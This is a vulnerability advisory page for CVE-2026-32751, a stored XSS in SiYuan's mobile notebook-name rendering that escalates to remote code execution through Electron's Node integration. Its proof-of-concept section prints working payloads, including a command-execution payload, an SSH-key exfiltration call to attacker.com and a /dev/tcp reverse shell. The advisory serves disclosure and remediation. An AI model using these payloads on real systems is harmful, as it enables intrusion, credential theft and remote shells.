CVE-2026-32751: SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Published Mar 16, 2026
·
Updated

Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Summary

SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.

Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.

Affected Component

- Vulnerable file: app/src/mobile/dock/MobileFiles.ts:77 - Safe counterpart: app/src/layout/dock/Files.ts:104 (uses escapeHtml) - Backend (no escaping): kernel/api/notebook.go:104-116 (renameNotebook) - Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false) - Endpoint: POST /api/notebook/renameNotebook (authenticated) - Version: SiYuan <= 3.5.9

Vulnerable Code

Mobile — no escaping (MobileFiles.ts:77)

typescript case "renamenotebook": this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = data.data.name; break;

Desktop — properly escaped (Files.ts:104)

typescript case "renamenotebook": this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = escapeHtml(data.data.name); break;

Backend — sends unescaped name (notebook.go:104-116)

go func renameNotebook(c gin.Context) { // ... name := arg["name"].(string) err := model.RenameBox(notebook, name) // ... evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast) evt.Data = map[string]interface{}{ "box": notebook, "name": name, // Unescaped — sent directly to all clients } util.PushEvent(evt) }

model.RenameBox() only validates length (512 chars max) and emptiness — no HTML sanitization.

Electron — Node.js in renderer (main.js:422-426)

javascript webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, }

Any JavaScript executed via innerHTML has full access to require('childprocess'), require('fs'), require('net'), etc.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker).

1. Set malicious notebook name (RCE payload)

http POST /api/notebook/renameNotebook HTTP/1.1 Content-Type: application/json Cookie: siyuan=<session>

{ "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"require('childprocess').exec('calc.exe')\">" }

On Linux/macOS: json { "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"require('childprocess').exec('id > /tmp/pwned')\">" }

Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.

2. Mobile client renders and executes

When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('childprocess').exec() — arbitrary OS command execution.

3. Verified event content

python Unauthenticated WebSocket listener receives: { "cmd": "renamenotebook", "data": { "box": "20260309161535-do8qg95", "name": "<img src=x onerror=\"require('childprocess').exec('calc.exe')\">" } }

The HTML/JS payload is preserved verbatim in the WebSocket event.

4. Data exfiltration variant

json { "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/idrsa','utf8'))\">" }

5. Reverse shell variant

json { "notebook": "<NOTEBOOKID>", "name": "<img src=x onerror=\"require('childprocess').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">" }

Attack Scenario

1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload 2. The renamenotebook event broadcasts the payload to ALL connected clients 3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload 4. nodeIntegration: true gives the injected JavaScript full OS access 5. Attacker achieves arbitrary command execution on the victim's machine

Persistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile — it survives restarts.

Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.

Impact

- Severity: CRITICAL (CVSS ~9.0) - Type: CWE-79 (Improper Neutralization of Input During Web Page Generation) - Full remote code execution on Electron desktop via nodeIntegration: true - Stored XSS — notebook names persist across sessions and survive restarts - Propagates via cloud sync to all synced devices - Affects all mobile interface users and desktop users in mobile/narrow layout - Inconsistent escaping — desktop is safe, mobile is not (indicates oversight) - Can steal files, credentials, SSH keys, install backdoors, open reverse shells

Suggested Fix

1. Apply the same escaping used in the desktop version

typescript // Before (vulnerable): this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = data.data.name;

// After (fixed): this.element.querySelector([data-url="${data.data.box}"] .b3-list-itemtext).innerHTML = escapeHtml(data.data.name);

2. Sanitize notebook names on the backend

go func RenameBox(boxID, name string) (err error) { name = util.EscapeHTML(name) // Sanitize at the source // ... }

3. Long-term: Harden Electron configuration

javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, }

Other sources

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree. Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well. This issue has been fixed in version 3.6.1.

MITRE

Affected Software

2 affected components
go/github.com/siyuan-note/siyuan/kernel<=0.0.0-20260313024916-fd6526133bb3
b3log SiYuan<3.6.1

Event History

Mar 16, 2026
Advisory Published
via GitHub·06:47 PM
Data Sourced
via GitHub·06:47 PM
DescriptionWeaknessAffected Software
Mar 19, 2026
CVE Published
via MITRE·09:11 PM
Data Sourced
via MITRE·09:11 PM
DescriptionWeakness
Data Sourced
via NVD·10:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32751?

CVE-2026-32751 is classified as a critical vulnerability due to its potential for remote code execution.

2

How do I fix CVE-2026-32751?

To mitigate CVE-2026-32751, ensure that notebook names are properly escaped using HTML escaping methods in the mobile interface.

3

What causes CVE-2026-32751?

CVE-2026-32751 arises from rendering unsafe user input via innerHTML in response to WebSocket events without proper sanitization.

4

Which versions are affected by CVE-2026-32751?

CVE-2026-32751 affects versions of SiYuan up to and including 0.0.0-20260313024916-fd6526133bb3.

5

Can CVE-2026-32751 be exploited?

Yes, CVE-2026-32751 can be exploited by attackers to execute arbitrary code on affected systems through stored XSS.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203